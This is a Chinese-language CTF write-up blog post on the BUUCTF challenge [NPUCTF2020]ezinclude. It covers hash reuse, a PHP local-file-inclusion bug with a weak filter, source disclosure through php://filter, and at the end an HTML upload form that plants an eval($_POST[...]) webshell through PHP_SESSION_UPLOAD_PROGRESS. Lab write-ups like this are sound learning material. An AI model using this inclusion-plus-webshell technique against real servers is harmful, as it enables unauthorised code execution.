[NPUCTF2020]ezinclude 1

最新推荐文章于 2024-02-25 15:43:33 发布

Kradress

最新推荐文章于 2024-02-25 15:43:33 发布

阅读量3.2k

点赞数 1

分类专栏： BUUCTF 文章标签： nginx html 运维

本文链接：https://blog.csdn.net/Kracxi/article/details/121788117

版权

BUUCTF 专栏收录该内容

11 篇文章 1 订阅

订阅专栏

本文详细记录了一次利用PHP文件包含漏洞进行安全测试的过程。从初始的源码分析，到发现并利用Hash值获取信息，再到尝试文件包含、会话上传和路径爆破，最终在phpinfo中找到flag。过程中涉及Web服务器识别、文件路径猜测和防止过滤的技巧。虽然遇到了一些挑战，如session清理和文件路径未回显等，但通过学习和实践，增加了对Web安全的理解。

摘要由CSDN通过智能技术生成

源码


username/password error<html>
<!--md5($secret.$name)===$pass -->
</html>

思路

根据提示,先抓个包发现cookie里面有值 Hash=fa25e54758d5d5c1927781a6ede89f8a
根据md5($secret.$name)===$pass猜得这个应该为name的md5加密后的值,所以pass=fa25e54758d5d5c1927781a6ede89f8a

在这里插入图片描述
跳转后

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

尝试了一下,发现filter没有被过滤,先读取一下源码看看

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_å‡ºé¢˜äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

用wappalyzer可以得知中间件是nginx了,直接包含/var/log/nginx/access.log发现没有回显,应该不是考包含日志文件.

试着用fuzz一下flag的路径,返回429

字典 https://github.com/ev0A/ArbitraryFileReadList

在这里插入图片描述
尝试下session上传


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>upload-POC</title>
</head>
<body>
<form action="http://0cd7c655-8ed0-49f3-84b0-a8a75ee85fee.node4.buuoj.cn:81/flflflflag.php" method="post" enctype="multipart/form-data">
    <!-- session 上传 -->
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php phpinfo();eval($_POST['kradress']); ?>" >  
    <!-- --------------------------------------- -->

    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>